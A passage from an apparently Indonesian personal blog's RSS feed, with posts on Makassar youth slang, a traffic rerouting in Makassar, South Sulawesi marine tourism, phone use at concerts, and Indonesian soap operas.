<p><strong>Tantara ko ?</strong> . Kalimat tanya yang artinya kurang lebih : <strong>memangnya kamu tentara ?</strong> Digunakan ketika seseorang berlagak agak berlebihan atau sok jagoan sehingga teman lainnya jadi sedikit kesal. Populer di tahun 90an, dan sekarang sepertinya sudah jarang digunakan.</p>
<p><strong>Parecu.</strong> Arti harfiahnya kira-kira membuat ricuh. Disematkan kepada orang yang dianggap membuat kericuhan atau kegaduhan atau mungkin curang. Masih sering digunakan jaman sekarang dan asalnya memang dari bahasa Makassar.</p>
<p><strong>Kabbulampe, Anassambala, Anassongkolo</strong>. Tiga kata itu adalah tiga kata umpatan halus dalam bahasa gaul anak Makassar. Kadarnya mungkin sama dengan kata jancuk dalam bahasa Jawa. Saya belum pernah menemukan arti persis dari kalimat-kalimat itu, tapi biasanya memang dipakai untuk mengumpat meski belakangan artinya sudah tidak sekasar dulu. Varian lainnya ada juga <strong>anassikopang </strong>atau bermakna : anak sekop. Entah apa artinya.</p>
<p><strong>Piti-piti.</strong> Bermakna ngasal atau asal ngomong. Ini berasal dari bahasa Makassar, biasanya disandingkan dengan kata kerja semisal piti kana-kanai atau asal ngomong. Sampai sekarang masih sering digunakan.</p>
<p><strong>Sibi&#8217;, Limbi&#8217;, Sisa&#8217;, Limrats</strong>. Kata-kata ini menggambarkan besaran mata uang dari bahasa Makassar. Sibi berarti sibilanggang atau seratus. Limbi berarti limam bilanggang atau lima ratus, sisa&#8217; berarti sisabbu atau seribu dan limrats adalah varian singkatan dari lima ratus. Masih sering digunakan, khususnya di daerah urban pinggiran kota.</p>
<p><strong>Kompor.</strong> Bukan kompor buat masak pastinya, tapi singkatan dari Kombinasi Pongoro atau kombinasi gila-gilaan. Biasanya digunakan untuk menggambarkan sebuah kombinasi pakaian yang warnanya tabrakan dan tidak <em>matching</em>. Sudah lama saya tidak mendengar istilah ini.</p>
<p><strong>Pabote</strong>&#8216;. Artinya tukang bohong, kalau berbohong jadinya cukup dengan bote&#8217;. Masih sering digunakan jaman sekarang.</p>
<p><strong>Nagigi&#8217; makie dan Nablender makie</strong>. Dua kalimat yang artinya kurang lebih : kena gigit deh atau diblender deh. Entah asal katanya dari mana, tapi saat ini dua kalimat di atas sudah jarang digunakan. Sudah masuk kategori bahasa gaul yang jadul.</p>
<p>Apa yang saya tulis di atas adalah sebagian kecil dari bahasa gaul yang beredar di kalangan remaja Makassar. Masih banyak lagi bahasa lainnya meski kalau saya amati jaman sekarang anak-anak muda Makassar sudah mulai lebih sering menggunakan bahasa gaul dari ibukota. Pengaruh ibukota sudah semakin deras sehingga kadang anak-anak itu sudah malu menggunakan bahasa gaul yang lebih berciri lokal.</p>
<p>Di laman panyingkul.com pernah dimuat sebuah artikel yang merangkum lebih banyak bahasa gaul Makassar. Silakan dibaca <a href="http://panyingkul.com/view.php?id=418&amp;jenis=katakotakita">di sini</a>.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="gambar gaul">gambar gaul</a> (12)</li><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="bahasa gaul 2012">bahasa gaul 2012</a> (8)</li><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="bahasa kota makassar">bahasa kota makassar</a> (4)</li><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="bahasa gaul makassar">bahasa gaul makassar</a> (4)</li><li><a href="http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/" title="gaul">gaul</a> (4)</li></ul><div class="shr-publisher-2263"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fbahasa-gaul-makassar-dari-pace-sampai-blender%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Rekayasa Lalu Lintas Yang Bikin Nyaman</title>
		<link>http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/</link>
		<comments>http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 02:07:08 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Lalu Lintas]]></category>
		<category><![CDATA[makassar]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2220</guid>
		<description><![CDATA[Makassar dan macet mulai akrab. Seperti sahabat yang makin sering bercengkerama. Semakin hari, kota ini makin akrab bercumbu dengan macet. Dan adalah rekayasa lalu lintas yang kemudian hadir di antara mereka. Ada yang berbeda dengan jalur yang biasa saya jalani hampir setiap hari. Dari arah Timur menuju ke Barat biasanya saya akan tertahan agak lama [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2221" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/Macet-Makassar.jpg"><img class="size-full wp-image-2221" title="Macet Makassar" src="http://daenggassing.com/wp-content/uploads/2012/01/Macet-Makassar.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Macet Kota Makassar</p></div>
<blockquote>
<h3>Makassar dan macet mulai akrab. Seperti sahabat yang makin sering bercengkerama. Semakin hari, kota ini makin akrab bercumbu dengan macet. Dan adalah rekayasa lalu lintas yang kemudian hadir di antara mereka.</h3>
</blockquote>
<p>Ada yang berbeda dengan jalur yang biasa saya jalani hampir setiap hari. Dari arah Timur menuju ke Barat biasanya saya akan tertahan agak lama di sekitar perempatan Hertasning &#8211; Toddopuli &#8211; Tamalate. Kendaraan akan membentuk barisan panjang, serupa antrian zakat menjelang Idul Fitri. Waktunyapun tidak singkat, kadang sampai bermenit-menit dan membuat pegal.</p>
<p>Selepas tahun baru kemarin ada lewat jalan itu dan tiba-tiba sadar kalau ada yang berbeda. Kebetulan saya juga lewat jalan itu tepat di jam pulang kantor, jam yang biasanya menjadi jam paling sibuk dan padat. Tapi hari itu berbeda.</p>
<p>Dari jauh terlihat jalanan padat tapi tidak merayap. Ketika mendekati perempatan, tidak ada yang tertahan. Saya melirik lampu lalu lintas, semua mati. Tanpa sengaja pandangan saya jatuh pada bagian tengah perempatan tersebut. Ada barikade di sana, beberapa palang besar berwarna kuning hitam dan beberapa buah kasting yang diletakkan untuk menutup jalan.</p>
<p>Ternyata itu penyebabnya. Jadi semua kemudian diubah. Lampu lalu lintas dimatikan, perempatan ditutup. Jadi semua kendaraan yang dari arah Barat dan hendak ke Selatan harus terus dulu melewati perempatan dan memutar agak jauh. Kendaraan dari arah Utara yang hendak ke Selatan juga begitu, harus belok kiri dulu ke arah Timur dan memutar agak jauh.</p>
<div id="attachment_2222" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/Ilistrasi-rekayasa-lalin.jpg"><img class="size-full wp-image-2222" title="Ilistrasi rekayasa lalin" src="http://daenggassing.com/wp-content/uploads/2012/01/Ilistrasi-rekayasa-lalin.jpg" alt="" width="600" height="402" /></a><p class="wp-caption-text">Rekayasa Lalu Lintas di Jl. Hertasning</p></div>
<p>Sepintas memang agak merepotkan, jarak jadi bertambah karena harus memutar dulu. Tapi, khasiatnya terasa, persis seperti minum obat yang manjur. Jalanan menjadi lancar, padat tapi tidak merayap. Area Tamalate, Hertasning, Toddopuli yang biasanya jadi sumber stress di waktu-waktu tertentu kini berubah jadi lebih ramah.</p>
<p>Buat saya ini langkah brilian yang dilakukan polantas Makassar. Mereka berhasil mencari jalan keluar yang menyenangkan untuk mengurai setidaknya satu titik kemacetan.</p>
<p>Dari beberapa teman saya juga mendapat kabar kalau Polantas Makassar berhasil melakukan rekayasa lalu lintas yang positif di malam pergantian tahun. Mereka mengatur lalu lintas sedemikian rupa, membuat barikade di beberapa titik dan hasilnya, jalanan Makassar di tahun baru jadi lebih nyaman. Padat tapi tidak sampai macet berjam-jam.</p>
<p>Buat saya apa yang dilakukan oleh Polantas Makassar itu sebuah langkah kecil yang cukup memuaskan. Makin hari macet di kota ini memang makin mengkuatirkan dan memang dibutuhkan pihak berkuasa untuk melakukan sesuatu, setidaknya mengurangi titik kemacetan.? Polantas memang tidak bisa melakukannya sendirian, karena ada juga pemerintah kota yang punya peran lebih besar. Sekarang tinggal bagaimana mereka bisa bekerjasama membuat jalanan kota ini jadi lebih nyaman.</p>
<p>Sebagai warga kami hanya bisa menantikan gebrakan lainnya dari pemerintah dan polantas. Semoga Makassar tidak sampai serumit Jakarta dalam mengurai kemacetan.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="gambar rekayasa">gambar rekayasa</a> (3)</li><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="rekayasa lalu lintas">rekayasa lalu lintas</a> (2)</li><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="mengurai kemacetan di makassar">mengurai kemacetan di makassar</a> (2)</li><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="mengurai kemacetan di makasar">mengurai kemacetan di makasar</a> (2)</li><li><a href="http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/" title="counter lampu lalu lintas">counter lampu lalu lintas</a> (1)</li></ul><div class="shr-publisher-2220"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Frekayasa-lalu-lintas-yang-bikin-nyaman%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/rekayasa-lalu-lintas-yang-bikin-nyaman/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Wisata Bahari SulSel ; Raksasa Yang Tertidur</title>
		<link>http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/</link>
		<comments>http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 03:09:24 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Kelautan]]></category>
		<category><![CDATA[Laut]]></category>
		<category><![CDATA[SulSel]]></category>
		<category><![CDATA[Wisata Bahari]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2179</guid>
		<description><![CDATA[Tulisan ini adalah catatan dari acara diskusi akhir tahun yang digelar ISLA-Unhas tanggal 21 Desember semalam. Indonesia adalah negara kepulauan, sejak dari jaman SD kita sudah dijejali dengan kata-kata itu. Luas laut Indonesia jauh lebih besar dari luas daratan. Sayangnya, dari SD sampai sekarang kita belum lihat bagaimana Indonesia menjadi besar karena kekuatan kelautannya. Dari [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2062" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4754.jpg"><img class="size-full wp-image-2062" title="IMG_4754" src="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4754.jpg" alt="Tinabo" width="600" height="399" /></a><p class="wp-caption-text">Tinabo oh Tinabo</p></div>
<blockquote>
<h3>Tulisan ini adalah catatan dari acara diskusi akhir tahun yang digelar ISLA-Unhas tanggal 21 Desember semalam.</h3>
</blockquote>
<p>Indonesia adalah negara kepulauan, sejak dari jaman SD kita sudah dijejali dengan kata-kata itu. Luas laut Indonesia jauh lebih besar dari luas daratan. Sayangnya, dari SD sampai sekarang kita belum lihat bagaimana Indonesia menjadi besar karena kekuatan kelautannya. Dari hasil tangkapan kita masih kalah dari Jepang dan bahkan Thailand. Dari hasil wisata ? Jangan ditanya lagi, ada sederet nama-nama negara tetangga yang justru lebih gendut dari hasil pariwisata bahari.</p>
<p>Masalahnya di mana ? Kenapa kita belum maksimal memanfaatkan kekayaan laut kita ? Kenapa fakta yang ada justru fakta kalau kekayaan alam bawah laut kita mulai tergerus ?</p>
<p>Dalam diskusi kelautan yang digelar <a href="http://isla-unhas.org/">Ikatan Sarjana Kelautan UNHAS</a> di gedung BAKTI hari Rabu kemarin tergambar jelas beberapa fakta tentang masalah yang dihadapi oleh negeri kita di sektor kelautan dan perikanan. Fakta paling utama adalah kurangnya perhatian pemerintah terhadap pengembangan sektor kelautan, entah itu yang menyangkut pemberdayaan masyarakat, pemanfaatan potensi kelautan hingga pengembangan sektor pariwisata.</p>
<div id="attachment_2072" class="wp-caption alignleft" style="width: 210px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4777.jpg"><img class="size-medium wp-image-2072" title="IMG_4777" src="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4777-200x300.jpg" alt="" width="200" height="300" /></a><p class="wp-caption-text">Nelayan setempat yang perahunya kami sewa</p></div>
<h3><strong>Sejarah Indah Kelautan SulSel dan Masalahnya Kini</strong></h3>
<p>Sulawesi Selatan sebenarnya pernah jaya di sekor kelautan. Pada abad ke 15, kerajaan Gowa di bawah kepemimpinan <strong>Tumapakrisika Kallonna</strong> memindahkan ibukota kerajaan dari Kalegowa ke Somba Opu yang terletak di pesisir pantai barat Sulawesi. Itu menjadi tonggak awal kejayaan maritim kerajaan Gowa.</p>
<p>Selama seratus tahun lebih kerajaan Gowa menjadi pusat perdagangan yang sangat maju. Puluhan negara asing membuat pos dagang di Somba Opu, ratusan kapal asing berlabuh dan berdagang di ibukota kerajaan itu. Para pelaut Bugis-Makassar juga dikenal sebagai pelaut yang tangguh, mengitari separuh bumi dan berlayar jauh hingga ke Australia, Afrika dan Eropa.</p>
<p>Kepemimpinan yang tidak cakap, rongrongan dari dalam dan kemudian disempurnakan dengan serangan oleh VOC membuat kerajaan Gowa runtuh dan sejak itu, kejayaan maritim kerajaan Gowa dan Sulawesi Selatan seperti hilang nyaris tak berbekas.</p>
<p>Dua indikasi utama makin suramnya kondisi laut Sulawesi Selatan yaitu hutan mangrove dan terumbu karang yang kondisinya makin mengenaskan. Bahkan satu indikasi kecil lainnya adalah makin maraknya ikan hias yang diperjualbelikan sebagai makanan. Ini pertanda kalau ikan komersil juga mulai surut dan susah untuk didapatkan.</p>
<p>Sebuah NGO bernama <strong>MAP ( Mangrove Action Project )</strong> memaparkan fakta bahwa sebuah pulau di sekitar Makassar bernama Tanakeke telah kehilangan sekitar 1500 Ha hutan mangrove di rentang waktu antara 1974 hingga 2010. Sebuah angka yang cukup mengerikan. Saat ini MAP sedang menggalang usaha berbasis kerakyatan untuk mengembalikan hutan mangrove yang hilang tersebut.</p>
<p>Fakta mengerikan lainnya dibeberkan oleh bapak <strong>Syafyudin Yusuf</strong> seorang ahli terumbu karang dari UNHAS. Terumbu karang sebagai hutannya laut semakin hari kondisinya semakin memprihatinkan. Dari data yang ada, saat ini jumlah terumbu karang di Indonesia yang berada dalam kondisi sangat baik hanya sekitar 5%-6% sedangkan yang berada dalam kondisi sangat buruk sekitar 32% &#8211; 40%. Masalah terbesar adalah pada kerusakan akibat meningkatnya suhu bumi selain tentu saja faktor lain seperti pengeboman ikan, penggunaan racun ikan dan pembuangan limbah ke laut. Sayangnya kondisi buruk terumbu karang ini justru banyak terjadi di kawasan Indonesia Bagian Timur.</p>
<h3><strong>Wisata Bahari SulSel yang Belum Tersentuh</strong></h3>
<p>Dua sesi terakhir lebih banyak membahas tentang pariwisata bahari Sulawesi Selatan yang seperti masih jalan di tempat dan belum disentuh dengan serius, utamanya tentang pariwisata <a href="../../../../../2011/11/takabonerate-bag-1-jalan-panjang-menuju-surga/">Taka Bonerate</a>. Sebagai orang yang pernah diajak mengunjungi Taka Bonerate saya memberikan testimoni betapa indahnya kawasan taman nasional di Selatan pulau Sulawesi itu, tapi sekaligus juga betapa susahnya untuk bisa sampai ke sana.</p>
<p>Entahlah, saya sendiri sebagai warga biasa yang hanya berstatus sebagai penikmat laut masih selalu gregetan melihat kurang gesitnya pemerintah Provinsi dan daerah di Sulawesi Selatan untuk menggali lebih dalam potensi wisata baharinya. Tidak usah bicara jauh-jauh soal Taka Bonerate, di sekitaran Makassar masih banyak pulau-pulau indah yang belum dikelola maksimal, semua masih berjalan separuh hati dan itupun sebagian besarnya hanya digerakkan oleh pihak swasta.</p>
<p><strong>Pak Januar Jaury</strong>, seorang pengusaha yang sekarang menjadi anggota DPRD membeberkan fakta kalau sektor pariwisata sesungguhnya bisa memberikan dukungan finansial yang sangat besar untuk pendapatan daerah. Beberapa negara di dunia ini menggantungkan nasib mereka pada sektor pariwisata, dan berhasil. Kenapa Indonesia tidak bisa ?</p>
<p>Di akhir acara, sebagai seorang blogger saya menyodorkan ide untuk sebuah kolaborasi antara berbagai pihak yang punya perhatian serius dengan masalah kelautan. Saya menyodorkan ide untuk melibatkan para blogger secara lebih aktif khususnya sebagai corong promosi wisata kelautan Sulawesi Selatan. Contoh terakhir adalah ketika kami diajak ke Taka Bonerate, deretan tulisan tentang Taka Bonerate serta twit-twit dan foto-foto di Facebook sedikit banyaknya telah membuka mata banyak orang kalau ada tempat yang sangat indah di selatan Sulawesi. Sebuah tempat yang memang belum banyak diketahui orang Indonesia.</p>
<p>Saya yakin dengan kerjasama dan kolaborasi antar banyak pihak, wisata bahari yang selama ini seperti raksasa yang sedang tidur bisa bangun dan menjadi penyumbang devisa yang besar bagi negeri kita, atau dalam skala kecil bagi provinsi Sulawesi Selatan.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="dg[;">dg[;</a> (2)</li><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="wisata sul-sel">wisata sul-sel</a> (2)</li><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="wisata laut sulawesi selatan">wisata laut sulawesi selatan</a> (2)</li><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="wisata di indonesia bagian timur">wisata di indonesia bagian timur</a> (2)</li><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="pariwisata kelautan">pariwisata kelautan</a> (2)</li></ul><div class="shr-publisher-2179"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fwisata-bahari-sulsel-raksasa-yang-tertidur%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Gadget Di Depan Panggung</title>
		<link>http://daenggassing.com/2011/10/gadget-di-depan-panggung/</link>
		<comments>http://daenggassing.com/2011/10/gadget-di-depan-panggung/#comments</comments>
		<pubDate>Wed, 26 Oct 2011 04:59:30 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[gadget]]></category>
		<category><![CDATA[handphone]]></category>
		<category><![CDATA[konser]]></category>
		<category><![CDATA[Musik]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1985</guid>
		<description><![CDATA[Perkembangan gadget mengubah cara orang menikmati pertunjukan, entah musik maupun olahraga. Sekitar sepuluh tahun lalu, grup band Dewa19 yang sekarang sudah bubar pernah curhat di media massa selepas konsernya di beberapa kota di Jepang. Menurut mereka, konser di depan warga Indonesia di Jepang tersebut terasa kering. Bukan karena penonton yang sepi, tapi karena kebanyakan penonton [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1986" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/IMG_3372.jpg"><img class="size-full wp-image-1986" title="_IMG_3372" src="http://daenggassing.com/wp-content/uploads/2011/10/IMG_3372.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Tingkah penonton di depan panggung</p></div>
<blockquote>
<h3><strong>Perkembangan gadget mengubah cara orang menikmati pertunjukan, entah musik maupun olahraga.</strong></h3>
</blockquote>
<p>Sekitar sepuluh tahun lalu, grup band Dewa19 yang sekarang sudah bubar pernah curhat di media massa selepas konsernya di beberapa kota di Jepang. Menurut mereka, konser di depan warga Indonesia di Jepang tersebut terasa kering. Bukan karena penonton yang sepi, tapi karena kebanyakan penonton yang ada di depan panggung malah asyik memegang <em>handphone</em> mereka sambil merekam gambar.</p>
<p>Di masa itu <em>handphone</em> berkamera yang mampu merekam gambar diam ataupun gambar bergerak memang belum lazim di Indonesia tapi sudah umum di Jepang. Dan di negeri Sakura itulah untuk pertamakalinya Dewa19 merasakan pengalaman pertama berinteraksi dengan penonton yang lebih asyik berkonsentrasi merekam gambar daripada menikmati penampilan.</p>
<p>Itu kejadian sekitar 10 tahun lalu. Pelan-pelan, <em>handphone</em> yang dilengkapi kamera kemudian masuk ke Indonesia dan kemudian dengan cepat menjamur. Sekarang sudah susah mencari mereka yang menggenggam telepon tanpa kemudahan merekam gambar. Pelan-pelan perilaku para penikmat hiburanpun mulai berubah.</p>
<p>Sebelum <em>handphone</em> berkamera marak di Indonesia, para penonton konser masih konsentrasi menikmati sajian musik, kalau perlu mereka akan ikut berjingkrak, bernyanyi, berjoget dan bahkan rusuh dengan sesama penonton lainnya.</p>
<p>Sekarang, kondisi itu mulai berubah. Ketika konser digelar, ketika penyanyi mulai menyajikan kemampuannya, para penonton juga mulai pamer perangkat. Mulai dari <em>handphone</em> biasa, <em>smartphone </em>dan sekarang malah dengan menggunakan PC tablet semua dikeluarkan, diangkat ke udara dan diarahkan ke panggung. Lupakan mereka yang berjingkrak atau bernyanyi dengan keras, itu sudah ketinggalan jaman. Hanya beberapa yang memang masih melakukannya, mereka yang benar-benar datang untuk menikmati musik.</p>
<div id="attachment_1987" class="wp-caption alignleft" style="width: 210px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/IMG_3385.jpg"><img class="size-medium wp-image-1987" title="_IMG_3385" src="http://daenggassing.com/wp-content/uploads/2011/10/IMG_3385-200x300.jpg" alt="" width="200" height="300" /></a><p class="wp-caption-text">Menanyilah, akan aku rekam..</p></div>
<p>Mereka yang menyiapkan gadget itu punya alasan sendiri. Mereka ingin menikmati musik dan membingkainya dalam beberapa gambar atau video agar bisa dinikmati di lain waktu. Mungkin juga mereka ingin membaginya ke teman-teman yang lain, sekadar untuk membanggakan diri bahwa dia sudah pernah menonton konser si anu atau si itu. Mereka jelas bukan penonton model <em>old school</em> yang datang dan hanya punya satu keinginan, menikmati konser musik.</p>
<p>Seorang teman yang masih tergolong <em>old school</em> pernah mengungkapkan rasa tidak sukanya pada generasi baru penikmat konser tersebut. Menurut sang teman, tingkah mereka kadang sudah masuk dalam tahap mengganggu, sudah sangat mengurangi kadar nikmatnya menikmati konser. Bagi sang teman ( dan mungkin juga bagi mereka para penikmat konser <em>old school</em> ) menikmati konser musti dengan penuh totalitas, tonton dan resapi semangatnya. Lupakan dokumentasi, itu urusan lain. ?Mereka akan jauh lebih puas ketika bisa ikut berjingkrak, menari atau berjoget mengikuti irama daripada hanya berdiri kaku memegang gadget dan berusaha agar tidak banyak bergerak supaya gambarnya tidak buram.</p>
<p>Gadget juga kemudian tidak hanya mengubah cara orang menikmati pertunjukan di panggung, tapi juga mengubah cara orang menikmati pertunjukan di atas lapangan.</p>
<p>Lihatlah lini masa di twitter. Setiap kali ada perhelatan sepakbola yang besar, entah itu skala nasional atau skala Internasional maka biasanya lini masa akan dipenuhi komentar dan laporan dari mereka yang sedang menonton langsung pertandingan tersebut. Logikanya, para pekicau itu tentu membagi konsentrasi mereka antara lapangan hijau ( atau layar televisi ) dengan layar gadget mereka.</p>
<p>Saya termasuk salah seorang pelakunya dan terus terang, kenikmatan menonton memang sedikit berubah. Ada enaknya karena terkadang kicauan-kicauan di lini masa dengan tema yang sama bisa membuat kita senyum-senyum sendiri atau bahkan menambah wawasan. Tapi, di sisi lain rasa deg-degan kala menyaksikan perjuangan tim pujaan bertanding memang sangat menurun. Beda dengan masa ketika twitter dan gadget canggih itu belum hadir.</p>
<p>Begitulah, ketika jaman semakin canggih maka pola hidup manusia akan terpengaruh. Sedikit atau banyak, cepat atau lambat. Sekarang para pelakon di panggung musik harus bisa menerima kenyataan itu meski saya yakin emosi mereka sedikit terpengaruh. Apa enaknya nyanyi kencang-kencang dan penuh semangat ketika di depan kita puluhan atau mungkin malah ratusan orang lebih asyik menatap layar gadget mereka ?</p>
<p>Tapi, apa kondisi ini cuma terjadi di Indonesia ? Bagaimana dengan penonton ( utamanya penonton musik ) di negara lain ? Apakah mereka juga lebih asyik merekam aksi musisi daripada ikut menikmati ? Ada yang tahu ?</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/10/gadget-di-depan-panggung/" title="gambar panggung pertunjukan di lapangan">gambar panggung pertunjukan di lapangan</a> (12)</li><li><a href="http://daenggassing.com/2011/10/gadget-di-depan-panggung/" title="orang indonesia di jepang">orang indonesia di jepang</a> (2)</li><li><a href="http://daenggassing.com/2011/10/gadget-di-depan-panggung/" title="nonton konser ngerekam">nonton konser ngerekam</a> (1)</li><li><a href="http://daenggassing.com/2011/10/gadget-di-depan-panggung/" title="konser musik gadget">konser musik gadget</a> (1)</li><li><a href="http://daenggassing.com/2011/10/gadget-di-depan-panggung/" title="konser dewa19 di jepang">konser dewa19 di jepang</a> (1)</li></ul><div class="shr-publisher-1985"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F10%2Fgadget-di-depan-panggung%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/10/gadget-di-depan-panggung/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Sinetron ; Antara Mimik, Mata Melotot dan Musik Yang Mengganggu</title>
		<link>http://daenggassing.com/2011/10/sinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu/</link>
		<comments>http://daenggassing.com/2011/10/sinetron-antara-mimik-mata-melotot-dan-musik-yang-mengganggu/#comments</comments>
		<pubDate>Tue, 18 Oct 2011 06:16:20 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Sinetron]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1969</guid>
		<description><![CDATA[Dua hal yang paling saya benci dari sinetron Indonesia : mimik bego pemainnya dan musik latarnya yang menganggu. Wanita muda itu melotot tajam seakan-akan menampakkan kemarahan, sementara di depannya ada lelaki muda yang bertampang bego seakan-akan pasrah kena marah. Di belakang terdengar latar musik yang melengking, memekakkan telinga dan benar-benar tidak nyaman di kuping. Itulah [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1970" class="wp-caption aligncenter" style="width: 618px"><a href="http://daenggassing.com/wp-content/uploads/2011/10/pyd2.jpg"><img class="size-full wp-image-1970 " title="pyd2" src="http://daenggassing.com/wp-content/uploads/2011/10/pyd2.jpg" alt="" width="608" height="432" /></a><p class="wp-caption-text">Putri Yang Ditukar</p></div>
<blockquote>
<h3><strong>Dua hal yang paling saya benci dari sinetron Indonesia : mimik bego pemainnya dan musik latarnya yang menganggu.</strong></h3>
</blockquote>
<p>Wanita muda itu melotot tajam seakan-akan menampakkan kemarahan, sementara di depannya ada lelaki muda yang bertampang bego seakan-akan pasrah kena marah. Di belakang terdengar latar musik yang melengking, memekakkan telinga dan benar-benar tidak nyaman di kuping.</p>
<p>Itulah sedikit potongan adegan dalam sebuah sinetron di salah satu stasiun televisi Indonesia. Sinema elektronika atau yang lebh dikenal dengan sinetron memang menjadi salah satu mata acara favorit di Indonesia. Penggemar terbesarnya adalah para ibu rumah tangga atau remaja putri meski tidak sedikit juga kaum Adam yang rela meluangkan waktunya memelototi televisi setiap kali sinetron kesayangannya ditayangkan.</p>
<p>Jalinan cerita yang agak absurd, terlalu dibuat-buat, adegan yang tidak masuk akal, akting yang parah dan sinematografi yang secara keseluruhan sangat payah tidak menghalangi para penggemarnya untuk tetap mencintai sinetron,. Alasan ini juga yang membuat para produser tetap setia memproduksi sinetron, betatapun kritikan tajam selalu menghampiri.</p>
